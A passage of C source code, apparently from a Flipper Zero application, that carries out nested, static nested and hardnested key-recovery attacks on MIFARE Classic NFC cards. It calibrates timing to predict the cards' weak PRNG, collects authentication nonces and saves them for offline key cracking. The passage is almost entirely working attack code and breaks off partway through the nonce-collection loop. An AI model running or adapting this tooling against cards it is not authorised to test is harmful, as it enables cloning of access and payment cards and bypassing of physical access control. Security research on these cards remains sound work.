mifare_nested_worker.c 59 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. // possible sum property values
  13. static uint16_t sums[] =
  14. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  15. void mifare_nested_worker_change_state(
  16. MifareNestedWorker* mifare_nested_worker,
  17. MifareNestedWorkerState state) {
  18. furi_assert(mifare_nested_worker);
  19. mifare_nested_worker->state = state;
  20. }
  21. MifareNestedWorker* mifare_nested_worker_alloc() {
  22. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  23. // Worker thread attributes
  24. mifare_nested_worker->thread = furi_thread_alloc_ex(
  25. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  26. mifare_nested_worker->callback = NULL;
  27. mifare_nested_worker->context = NULL;
  28. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  29. return mifare_nested_worker;
  30. }
  31. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  32. furi_assert(mifare_nested_worker);
  33. furi_thread_free(mifare_nested_worker->thread);
  34. free(mifare_nested_worker);
  35. }
  36. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  37. furi_assert(mifare_nested_worker);
  38. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  39. furi_thread_join(mifare_nested_worker->thread);
  40. }
  41. void mifare_nested_worker_start(
  42. MifareNestedWorker* mifare_nested_worker,
  43. MifareNestedWorkerState state,
  44. NfcDeviceData* dev_data,
  45. MifareNestedWorkerCallback callback,
  46. void* context) {
  47. furi_assert(mifare_nested_worker);
  48. furi_assert(dev_data);
  49. mifare_nested_worker->callback = callback;
  50. mifare_nested_worker->context = context;
  51. mifare_nested_worker->dev_data = dev_data;
  52. mifare_nested_worker_change_state(mifare_nested_worker, state);
  53. furi_thread_start(mifare_nested_worker->thread);
  54. }
  55. int32_t mifare_nested_worker_task(void* context) {
  56. MifareNestedWorker* mifare_nested_worker = context;
  57. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  58. mifare_nested_worker_check(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  60. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  62. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  64. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  65. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  66. mifare_nested_worker_check_keys(mifare_nested_worker);
  67. }
  68. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  69. return 0;
  70. }
  71. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  72. uint8_t* uid = data->uid;
  73. uint8_t uid_len = data->uid_len;
  74. for(size_t i = 0; i < uid_len; i++) {
  75. uint8_t uid_part = uid[i];
  76. furi_string_cat_printf(string, "%02X", uid_part);
  77. }
  78. }
  79. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  80. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  81. mifare_nested_worker_write_uid_string(data, file_path);
  82. furi_string_cat_printf(file_path, ".keys");
  83. }
  84. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  85. furi_string_set(file_path, NESTED_FOLDER "/");
  86. mifare_nested_worker_write_uid_string(data, file_path);
  87. furi_string_cat_printf(file_path, ".nonces");
  88. }
  89. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  90. furi_string_set(file_path, NESTED_FOLDER "/");
  91. mifare_nested_worker_write_uid_string(data, file_path);
  92. furi_string_cat_printf(file_path, ".keys");
  93. }
  94. void mifare_nested_worker_get_hardnested_folder_path(
  95. FuriHalNfcDevData* data,
  96. FuriString* file_path) {
  97. furi_string_set(file_path, NESTED_FOLDER "/");
  98. mifare_nested_worker_write_uid_string(data, file_path);
  99. }
  100. void mifare_nested_worker_get_hardnested_file_path(
  101. FuriHalNfcDevData* data,
  102. FuriString* file_path,
  103. uint8_t sector,
  104. uint8_t key_type) {
  105. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  106. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  107. }
  108. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  109. furi_assert(sector < 40);
  110. if(sector < 32) {
  111. return (sector * 4) + 3;
  112. } else {
  113. return 32 * 4 + (sector - 32) * 16 + 15;
  114. }
  115. }
  116. static MfClassicSectorTrailer*
  117. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  118. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  119. .value;
  120. }
  121. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  122. Storage* storage = furi_record_open(RECORD_STORAGE);
  123. FuriString* temp_str = furi_string_alloc();
  124. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  125. FlipperFormat* file = flipper_format_file_alloc(storage);
  126. bool load_success = false;
  127. uint32_t sector_count = 0;
  128. do {
  129. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  130. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  131. uint32_t version = 0;
  132. if(!flipper_format_read_header(file, temp_str, &version)) break;
  133. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  134. if(version != 1) break;
  135. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  136. if(!furi_string_cmp(temp_str, "1K")) {
  137. mf_data->type = MfClassicType1k;
  138. sector_count = 16;
  139. } else if(!furi_string_cmp(temp_str, "4K")) {
  140. mf_data->type = MfClassicType4k;
  141. sector_count = 40;
  142. } else if(!furi_string_cmp(temp_str, "MINI")) {
  143. mf_data->type = MfClassicTypeMini;
  144. sector_count = 5;
  145. } else {
  146. break;
  147. }
  148. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  149. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  150. bool key_read_success = true;
  151. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  152. MfClassicSectorTrailer* sec_tr =
  153. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  154. if(FURI_BIT(mf_data->key_a_mask, i)) {
  155. furi_string_printf(temp_str, "Key A sector %d", i);
  156. key_read_success = flipper_format_read_hex(
  157. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  158. }
  159. if(!key_read_success) break;
  160. if(FURI_BIT(mf_data->key_b_mask, i)) {
  161. furi_string_printf(temp_str, "Key B sector %d", i);
  162. key_read_success = flipper_format_read_hex(
  163. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  164. }
  165. }
  166. load_success = key_read_success;
  167. } while(false);
  168. furi_string_free(temp_str);
  169. flipper_format_free(file);
  170. return load_success;
  171. }
  172. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  173. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  174. if(c <= '9') {
  175. *nibble = c - '0';
  176. } else if(c <= 'F') {
  177. *nibble = c - 'A' + 10;
  178. } else {
  179. *nibble = c - 'a' + 10;
  180. }
  181. return true;
  182. } else {
  183. return false;
  184. }
  185. }
  186. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  187. uint8_t hi_nibble_value, low_nibble_value;
  188. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  189. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  190. *value = (hi_nibble_value << 4) | low_nibble_value;
  191. return true;
  192. } else {
  193. return false;
  194. }
  195. }
  196. void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
  197. for(uint8_t sector = 0; sector < sector_count; sector++) {
  198. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  199. for(uint8_t tries = 0; tries < tries_count; tries++) {
  200. free(nonces->nonces[sector][key_type][tries]);
  201. }
  202. }
  203. }
  204. }
  205. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  206. UNUSED(ATQA1);
  207. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  208. if((SAK == 0x08 || SAK == 0x88)) {
  209. return MfClassicType1k;
  210. } else if(SAK == 0x09) {
  211. return MfClassicTypeMini;
  212. }
  213. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  214. //skylanders support
  215. return MfClassicType1k;
  216. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  217. return MfClassicType4k;
  218. }
  219. return MfClassicType1k;
  220. }
  221. uint32_t mifare_nested_worker_predict_delay(
  222. FuriHalNfcTxRxContext* tx_rx,
  223. uint8_t blockNo,
  224. uint8_t keyType,
  225. uint64_t ui64Key,
  226. uint32_t tries,
  227. MifareNestedWorker* mifare_nested_worker) {
  228. uint32_t cuid = 0;
  229. Crypto1* crypto = malloc(sizeof(Crypto1));
  230. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  231. if(tries > 25) {
  232. free(crypto);
  233. return 2; // Too many tries, fallback to hardnested
  234. }
  235. // This part of attack is my attempt to implement it on Flipper.
  236. // Check README.md for more info
  237. // First, we find RPNG rounds per 1000 us
  238. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  239. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  240. free(crypto);
  241. return 1;
  242. }
  243. nfc_activate();
  244. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  245. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  246. furi_delay_us(rtr * 1000);
  247. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  248. // Searching for delay, where PRNG will be near 800
  249. uint32_t nttmp = prng_successor(nt1, 100);
  250. for(i = 101; i < 65565; i++) {
  251. nttmp = prng_successor(nttmp, 1);
  252. if(nttmp == nt2) break;
  253. }
  254. if(!rtr) {
  255. zero_prng_value = i;
  256. }
  257. if(previous && i > previous && i != 65565) {
  258. if(!prng_delay) {
  259. prng_delay = i - previous;
  260. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  261. prng_delay += i - previous;
  262. prng_delay /= 2;
  263. }
  264. }
  265. previous = i;
  266. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  267. // Let's hope...
  268. if(i > 810 && i < 840) {
  269. free(crypto);
  270. return rtr * 1000;
  271. }
  272. }
  273. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  274. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  275. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  276. if(zero_prng_value == 65565) {
  277. free(crypto);
  278. // PRNG isn't pretictable
  279. return 1;
  280. }
  281. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  282. uint32_t limit = 7;
  283. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  284. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  285. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  286. free(crypto);
  287. return 1;
  288. }
  289. nfc_activate();
  290. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  291. uint32_t delay = rtr * 1000 + rtz * 10;
  292. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  293. furi_delay_us(delay);
  294. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  295. // Searching for delay, where PRNG will be near 800
  296. uint32_t nttmp = prng_successor(nt1, 0);
  297. for(i = 1; i < 65565; i++) {
  298. nttmp = prng_successor(nttmp, 1);
  299. if(nttmp == nt2) break;
  300. }
  301. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  302. repeat++;
  303. if(repeat < 5) {
  304. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  305. continue;
  306. }
  307. }
  308. if(i > 2000 && i < 65500) {
  309. uint32_t catch_cycles = (65565 - i) / prng_delay;
  310. if(catch_cycles > 2) {
  311. catch_cycles++;
  312. FURI_LOG_D(
  313. TAG,
  314. "Trying a more accurate value: skipping additional %lu us",
  315. catch_cycles * 1000);
  316. limit += catch_cycles + 2;
  317. rtr += catch_cycles;
  318. }
  319. }
  320. FURI_LOG_D(
  321. TAG,
  322. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  323. i,
  324. delay,
  325. (cycles_to_reset + limit) * 1000);
  326. repeat = 0;
  327. previous = i;
  328. if(i > 810 && i < 840) {
  329. free(crypto);
  330. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  331. return delay;
  332. } else if(i > 840 && i < 40000) {
  333. FURI_LOG_D(TAG, "Trying again: timing lost");
  334. tries++;
  335. free(crypto);
  336. return mifare_nested_worker_predict_delay(
  337. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  338. }
  339. }
  340. }
  341. if(i > 1000 && i < 65000) {
  342. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  343. tries++;
  344. free(crypto);
  345. return mifare_nested_worker_predict_delay(
  346. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  347. }
  348. free(crypto);
  349. return 1;
  350. }
  351. SaveNoncesResult_t* mifare_nested_worker_write_nonces(
  352. FuriHalNfcDevData* data,
  353. Storage* storage,
  354. NonceList_t* nonces,
  355. uint8_t tries_count,
  356. uint8_t free_tries_count,
  357. uint8_t sector_count,
  358. uint32_t delay,
  359. uint32_t distance) {
  360. FuriString* path = furi_string_alloc();
  361. Stream* file_stream = file_stream_alloc(storage);
  362. SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
  363. result->saved = 0;
  364. result->invalid = 0;
  365. result->skipped = 0;
  366. mifare_nested_worker_get_nonces_file_path(data, path);
  367. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  368. FuriString* header = furi_string_alloc_printf(
  369. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  370. NESTED_NONCE_FORMAT_VERSION,
  371. NESTED_RECOVER_KEYS_GITHUB_LINK);
  372. stream_write_string(file_stream, header);
  373. for(uint8_t tries = 0; tries < tries_count; tries++) {
  374. for(uint8_t sector = 0; sector < sector_count; sector++) {
  375. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  376. if(nonces->nonces[sector][key_type][tries]->invalid) {
  377. if (tries == 0) {
  378. result->invalid++;
  379. }
  380. } else if(nonces->nonces[sector][key_type][tries]->skipped) {
  381. if (tries == 0) {
  382. result->skipped++;
  383. }
  384. } else if(nonces->nonces[sector][key_type][tries]->collected) {
  385. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  386. FuriString* hardnested_path = furi_string_alloc();
  387. mifare_nested_worker_get_hardnested_file_path(
  388. data, hardnested_path, sector, key_type);
  389. FuriString* str = furi_string_alloc_printf(
  390. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  391. !key_type ? 'A' : 'B',
  392. nonces->cuid,
  393. furi_string_get_cstr(hardnested_path),
  394. sector);
  395. stream_write_string(file_stream, str);
  396. furi_string_free(hardnested_path);
  397. furi_string_free(str);
  398. } else {
  399. FuriString* str = furi_string_alloc_printf(
  400. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  401. for(uint8_t type = 0; type < 2; type++) {
  402. furi_string_cat_printf(
  403. str,
  404. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  405. type,
  406. nonces->nonces[sector][key_type][tries]->target_nt[type],
  407. type,
  408. nonces->nonces[sector][key_type][tries]->target_ks[type],
  409. type);
  410. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  411. for(uint8_t i = 0; i < 4; i++) {
  412. furi_string_cat_printf(str, "%u", par[i]);
  413. }
  414. }
  415. furi_string_cat_printf(str, " sec %u\n", sector);
  416. stream_write_string(file_stream, str);
  417. furi_string_free(str);
  418. }
  419. result->saved++;
  420. }
  421. }
  422. }
  423. }
  424. if(delay) {
  425. FuriString* str =
  426. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  427. stream_write_string(file_stream, str);
  428. furi_string_free(str);
  429. }
  430. free_nonces(nonces, sector_count, free_tries_count);
  431. file_stream_close(file_stream);
  432. free(file_stream);
  433. if(!result->saved) {
  434. FURI_LOG_E(TAG, "No nonces collected, removing file...");
  435. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  436. FURI_LOG_E(TAG, "Failed to remove .nonces file");
  437. }
  438. }
  439. furi_string_free(path);
  440. furi_record_close(RECORD_STORAGE);
  441. return result;
  442. }
  443. bool mifare_nested_worker_check_initial_keys(
  444. NonceList_t* nonces,
  445. MfClassicData* mf_data,
  446. uint8_t tries_count,
  447. uint8_t sector_count,
  448. uint64_t* key,
  449. uint32_t* key_block,
  450. uint32_t* found_key_type) {
  451. bool has_a_key, has_b_key;
  452. FuriHalNfcTxRxContext tx_rx = {};
  453. for(uint8_t sector = 0; sector < sector_count; sector++) {
  454. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  455. for(uint8_t tries = 0; tries < tries_count; tries++) {
  456. Nonces* info = malloc(sizeof(Nonces));
  457. info->key_type = key_type;
  458. info->block = mifare_nested_worker_get_block_by_sector(sector);
  459. info->collected = false;
  460. info->skipped = true;
  461. nonces->nonces[sector][key_type][tries] = info;
  462. }
  463. }
  464. }
  465. for(uint8_t sector = 0; sector < sector_count; sector++) {
  466. MfClassicSectorTrailer* trailer =
  467. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  468. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  469. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  470. if(has_a_key) {
  471. for(uint8_t tries = 0; tries < tries_count; tries++) {
  472. Nonces* info = nonces->nonces[sector][0][tries];
  473. info->collected = true;
  474. info->skipped = true;
  475. nonces->nonces[sector][0][tries] = info;
  476. }
  477. if(*key_block == 0) {
  478. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  479. if(nested_check_key(
  480. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  481. NestedCheckKeyValid) {
  482. *key = key_check;
  483. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  484. *found_key_type = 0;
  485. }
  486. }
  487. }
  488. if(has_b_key) {
  489. for(uint8_t tries = 0; tries < tries_count; tries++) {
  490. Nonces* info = nonces->nonces[sector][1][tries];
  491. info->collected = true;
  492. info->skipped = true;
  493. nonces->nonces[sector][1][tries] = info;
  494. }
  495. if(*key_block == 0) {
  496. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  497. if(nested_check_key(
  498. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  499. NestedCheckKeyValid) {
  500. *key = key_check;
  501. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  502. *found_key_type = 1;
  503. }
  504. }
  505. }
  506. }
  507. nonces->cuid = 0;
  508. nonces->hardnested_states = 0;
  509. nonces->sector_count = sector_count;
  510. nonces->tries = tries_count;
  511. return *key_block;
  512. }
  513. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  514. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  515. FuriHalNfcTxRxContext tx_rx = {};
  516. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  517. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  518. FuriHalNfcDevData data = {};
  519. MifareNestedNonceType type = MifareNestedNonceNoTag;
  520. nested_get_data(&data);
  521. if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
  522. for(uint8_t sector = 0; sector < 40; sector++) {
  523. if(FURI_BIT(mf_data->key_a_mask, sector) ||
  524. FURI_BIT(mf_data->key_b_mask, sector)) {
  525. type = nested_check_nonce_type(
  526. &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
  527. break;
  528. }
  529. }
  530. if(type == MifareNestedNonceNoTag) {
  531. type = nested_check_nonce_type(&tx_rx, 0);
  532. }
  533. } else {
  534. type = nested_check_nonce_type(&tx_rx, 0);
  535. }
  536. if(type == MifareNestedNonceStatic) {
  537. mifare_nested_worker->context->collecting_type =
  538. MifareNestedWorkerStateCollectingStatic;
  539. mifare_nested_worker->callback(
  540. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  541. break;
  542. } else if(type == MifareNestedNonceWeak) {
  543. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  544. mifare_nested_worker->callback(
  545. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  546. break;
  547. } else if(type == MifareNestedNonceHard) {
  548. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
  549. mifare_nested_worker->callback(
  550. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  551. break;
  552. }
  553. furi_delay_ms(250);
  554. }
  555. nfc_deactivate();
  556. }
  557. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  558. NonceList_t nonces;
  559. Storage* storage = furi_record_open(RECORD_STORAGE);
  560. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  561. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  562. FuriString* folder_path = furi_string_alloc();
  563. FuriHalNfcDevData data = {};
  564. nested_get_data(&data);
  565. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  566. uint64_t key = 0; // Found key for attack
  567. uint32_t found_key_type = 0;
  568. uint32_t key_block = 0;
  569. uint32_t sector_count = 0;
  570. FURI_LOG_I(TAG, "Running Static Nested attack");
  571. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  572. mifare_nested_worker_write_uid_string(&data, tag_info);
  573. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  574. furi_string_free(tag_info);
  575. if(type == MfClassicType4k) {
  576. sector_count = 40;
  577. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  578. } else if(type == MfClassicType1k) {
  579. sector_count = 16;
  580. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  581. } else { // if(type == MfClassicTypeMini)
  582. sector_count = 5;
  583. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  584. }
  585. furi_string_set(folder_path, NESTED_FOLDER);
  586. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  587. furi_string_free(folder_path);
  588. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  589. !mifare_nested_worker_check_initial_keys(
  590. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  591. mifare_nested_worker->callback(
  592. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  593. nfc_deactivate();
  594. free(mf_data);
  595. free_nonces(&nonces, sector_count, 1);
  596. return;
  597. }
  598. FURI_LOG_I(
  599. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  600. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  601. FuriHalNfcTxRxContext tx_rx = {};
  602. for(uint8_t sector = 0; sector < sector_count; sector++) {
  603. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  604. Nonces* info = nonces.nonces[sector][key_type][0];
  605. if(info->collected) {
  606. FURI_LOG_I(
  607. TAG,
  608. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  609. sector,
  610. mifare_nested_worker_get_block_by_sector(sector),
  611. key_type);
  612. info->skipped = true;
  613. nonces.nonces[sector][key_type][0] = info;
  614. mifare_nested_worker->context->nonces = &nonces;
  615. mifare_nested_worker->callback(
  616. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  617. continue;
  618. }
  619. if(!nested_check_block(
  620. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  621. FURI_LOG_E(
  622. TAG,
  623. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  624. sector,
  625. mifare_nested_worker_get_block_by_sector(sector),
  626. key_type);
  627. info->invalid = true;
  628. nonces.nonces[sector][key_type][0] = info;
  629. mifare_nested_worker->context->nonces = &nonces;
  630. mifare_nested_worker->callback(
  631. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  632. continue;
  633. }
  634. while(!info->collected) {
  635. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  636. break;
  637. }
  638. struct nonce_info_static result = nested_static_nonce_attack(
  639. &tx_rx,
  640. key_block,
  641. found_key_type,
  642. mifare_nested_worker_get_block_by_sector(sector),
  643. key_type,
  644. key);
  645. if(result.full) {
  646. FURI_LOG_I(
  647. TAG,
  648. "Accured nonces for sector %u, block %u, key_type: %u",
  649. sector,
  650. mifare_nested_worker_get_block_by_sector(sector),
  651. key_type);
